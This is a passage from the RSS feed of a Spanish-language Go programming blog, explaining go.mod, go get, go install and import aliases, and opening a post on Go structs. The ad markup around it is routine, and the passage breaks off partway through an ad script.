style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Id          &lt;span style=&#34;color:#9aedfe&#34;&gt;int32&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Title       &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda que las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-structs-herencia-polimorfismo-y-encapsulacion/&#34;&gt;reglas de privacidad de los structs en Go&lt;/a&gt;&#xA; dicen que para que podamos acceder a un &lt;em&gt;struct&lt;/em&gt; o sus propiedades, desde otro paquete a donde fue declarado, debemos usar mayúsculas.&lt;/p&gt;&#xA;&lt;p&gt;Lo sé, es una de las cosas que aborrezco del lenguaje de Go, no tanto como para abandonarlo, pero bastante engorroso en mi opinión, sobre todo al debuggear, vengan los REGEX.&lt;/p&gt;&#xA;&lt;p&gt;Una vez creado terminaremos con una structura similar a esta&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/goModule.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/goModule.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Estructura de archivos del proyecto, una carpeta llamada videogame, con un archivo del mismo nombre en el interior.&#34; width=&#34;310&#34; height=&#34;112&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Localización del archivo principal y nuestro modulo en go&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;importar-paquetes-con-gomod&#34;&gt;Importar paquetes con go.mod&lt;/h2&gt;&#xA;&lt;h3 id=&#34;para-que-sirve-un-archivo-gomod&#34;&gt;¿Para que sirve un archivo go.mod?&lt;/h3&gt;&#xA;&lt;p&gt;Un archivo de go.mod &lt;strong&gt;define un modulo y nos permite establecer el directorio que usaremos como base para importar los paquetes.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/goModFile.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/goModFile.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Archivo go.mod en la raiz del proyecto&#34; width=&#34;320&#34; height=&#34;214&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Archivo go.mod que contiene el nombre del modulo&lt;/p&gt;&#xA;&lt;p&gt;En el ejemplo de arriba el archivo &lt;em&gt;go.mod&lt;/em&gt; nos permitirá tratar a la ruta &lt;em&gt;videogame&lt;/em&gt; como un paquete e importar código desde la ruta &lt;em&gt;mimodulo/videogame&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;que-contiene-un-archivo-gomod&#34;&gt;¿Qué contiene un archivo go.mod?&lt;/h3&gt;&#xA;&lt;p&gt;El archivo básico de &lt;em&gt;go.mod&lt;/em&gt; es muy corto, dentro de este solo se especifica &lt;strong&gt;el nombre del modulo, el cual usaremos para realizar las importaciones, y la versión de go&lt;/strong&gt;. Es todo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;module mimodulo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1.15&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;crear-un-archivo-gomod&#34;&gt;Crear un archivo go.mod&lt;/h3&gt;&#xA;&lt;p&gt;El comando &lt;em&gt;go mod init&lt;/em&gt;, seguido del nombre que tomará como la ruta base para nuestro paquete, creará un archivo de nombre &lt;em&gt;go.mod&lt;/em&gt; en el directorio donde lo ejecutemos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go mod init mimodulo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por ejemplo, si le pasamos como nombre &lt;em&gt;mimodulo&lt;/em&gt;, todas las carpetas &lt;strong&gt;que estén al mismo nivel que el archivo &lt;em&gt;go.mod&lt;/em&gt; y que declaren un package al inicio de su archivo&lt;/strong&gt;, se considerarán paquetes.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/multiplesModulos.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/multiplesModulos.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Múltiples directorios para importar como paquetes con go.mod&#34; width=&#34;312&#34; height=&#34;195&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Y podremos importarlos directo desde nuestro archivo &lt;em&gt;main.go&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mimodulo/foobar&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mimodulo/videogame&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;modulos-remotos-en-go&#34;&gt;Modulos remotos en Go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;el-manejador-de-modulos-de-go&#34;&gt;El manejador de modulos de go&lt;/h3&gt;&#xA;&lt;p&gt;Go tiene un manejador de modulos equivalente a pip y npm, python y javascript, respectivamente, llamado get.&lt;/p&gt;&#xA;&lt;h3 id=&#34;go-get&#34;&gt;go get&lt;/h3&gt;&#xA;&lt;p&gt;Para obtener modulos remotos ejecutamos el comando &lt;em&gt;go get&lt;/em&gt; en consola seguido de la ruta de nuestro paquete; soporta cualquier repositorio, no solo github. Desde la versión de go 1.18, go get no compila el código que descarga, sino que se limita a agregar, actualizar o remover dependencias en el archivo &lt;em&gt;go.mod&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go get github.com/labstack/echo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras la ejecución del comando, go descargará los archivos en la ruta a donde apunte la variable de entorno &lt;em&gt;$GOPATH&lt;/em&gt; y realizará las importaciones correspondientes en tu archivo &lt;em&gt;go.mod&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;module mipaquete&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1.15&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;require&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;github.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;labstack&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;echo v3&lt;span style=&#34;color:#ff9f43&#34;&gt;.3.10&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt;incompatible &lt;span style=&#34;color:#78787e&#34;&gt;// indirect&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;github.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;labstack&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;gommon v0&lt;span style=&#34;color:#ff9f43&#34;&gt;.3.1&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// indirect&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Podrás notar que sus paquetes estarán disponibles para que los importemos con su respectiva ruta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;github.com/labstack/echo&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En caso de que necesitemos una versión en específico la declaramos después de la ruta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go get github.com/labstack/echo/v4&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;instalacion-de-codigo-con-go-install&#34;&gt;Instalación de código con go install&lt;/h2&gt;&#xA;&lt;p&gt;Por otro lado, go install &lt;strong&gt;no descarga código&lt;/strong&gt;, sino que compila un modulo e instala el binario en $GOPATH/bin, ignorando el contenido del archivo &lt;em&gt;go.mod&lt;/em&gt; cuando se le especifica una versión a través de la linea de comandos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go install sigs.k8s.io/kind@v0.9.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Go install generalmente se usará para instalar comandos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;importar-paquetes-remotos-en-go&#34;&gt;Importar paquetes remotos en go&lt;/h2&gt;&#xA;&lt;p&gt;Los paquetes que se encuentran en repositorios de código, como GitHub, GitLab o BitBucket, requieren que especifiquemos la ruta completa del repositorio como su ruta de importación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; mod init github.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;usuario&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;paquete&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;importar-paquetes-sin-usarlos&#34;&gt;Importar paquetes sin usarlos&lt;/h2&gt;&#xA;&lt;p&gt;Hay ocasiones en donde querremos importar paquetes y no usarlos. Para esto basta con agregar un guión bajo antes de la importación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  _ &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;alias-al-importar-paquetes&#34;&gt;Alias al importar paquetes&lt;/h2&gt;&#xA;&lt;p&gt;Go también nos permite declarar un alias a la hora de importar un paquete anteponiendo el alias a la ruta de importación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; nuestroAlias &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ruta/a/paquete&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De esa manera podemos tratar nuestro alias como si se tratara del nombre del paquete que estamos importando.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; nuestroAlias &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mipaquete/videogame&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ... nuestroAlias reemplaza a videogame&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; vd = nuestroAlias.Videogame{Id: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, Title: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hola&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;importaciones-con-punto&#34;&gt;Importaciones con punto&lt;/h3&gt;&#xA;&lt;p&gt;Go permite acceder al contenido del paquete de manera directa si importamos usando como alias un punto. De esta manera podemos ignorar el nombre del paquete y acceder directamente a los objetos que contiene.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; . &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mipaquete/videogame&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ... en lugar de videogame.Videogame podemos usar solo Videogame&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; vd = Videogame{Id: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, Title: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hola&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;librerias-en-go&#34;&gt;Librerías en Go&lt;/h2&gt;&#xA;&lt;p&gt;Si estás buscando librerías que aceleren el desarrollo de algún proyecto, existe un directorio de frameworks, librerías y utilidades en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://awesome-go.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Awesome go&lt;/a&gt;&#xA;, hay recursos para todo, desde GUI, ORMs, web frameworks, machine learning y todo lo que te puedas imaginar.&lt;/p&gt;&#xA;&lt;h2 id=&#34;otros-recursos&#34;&gt;Otros recursos&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.digitalocean.com/community/tutorials/understanding-the-gopath-es&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Sobre la variable $GOPATH y su configuración&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://scene-si.org/2018/01/25/go-tips-and-tricks-almost-everything-about-imports/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Sobre imports (en inglés)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En go &lt;strong&gt;puedes considerar un paquete como todos los archivos que contenga un directorio y un modulo como una colección de paquetes&lt;/strong&gt;. Para usar el código de un paquete necesitamos importarlo, sin embargo, en Go no existen las importaciones de módulos relativas. Antes de Go 1.8, para importar paquetes (no había modulos) era necesario usar la ruta absoluta, considerando como base la ruta a la que apuntaba la variable de entorno $&lt;em&gt;GOPATH&lt;/em&gt; o. A partir de Go 1.11, la manera más sencilla de trabajar con paquetes es usar go mod. Te explicaré esta última.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: Structs, herencia, polimorfismo y encapsulación</title>
      <link>https://coffeebytes.dev/es/go/go-structs-herencia-polimorfismo-y-encapsulacion/</link>
      <pubDate>Tue, 04 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-structs-herencia-polimorfismo-y-encapsulacion/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Como ya te mencioné en la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;introducción al lenguaje de programación Golang o Go&lt;/a&gt;&#xA;, este lenguaje no tiene una palabra reservada para tratar con clases, sino que usa structs para emular características como herencia, polimorfismo, encapsulación y otras propiedades de las clases que probablemente hayas usado en otros lenguajes de programación.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;que-es-un-struct-en-go&#34;&gt;¿Qué es un struct en Go?&lt;/h2&gt;&#xA;&lt;p&gt;Un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/tour/moretypes/2&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;struct en go&lt;/a&gt;&#xA; es una colección de campos. Se definen con el keyword &lt;em&gt;type&lt;/em&gt; seguido del nombre a asignar y la palabra &lt;em&gt;struct&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Videogame &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Title &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Year &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = 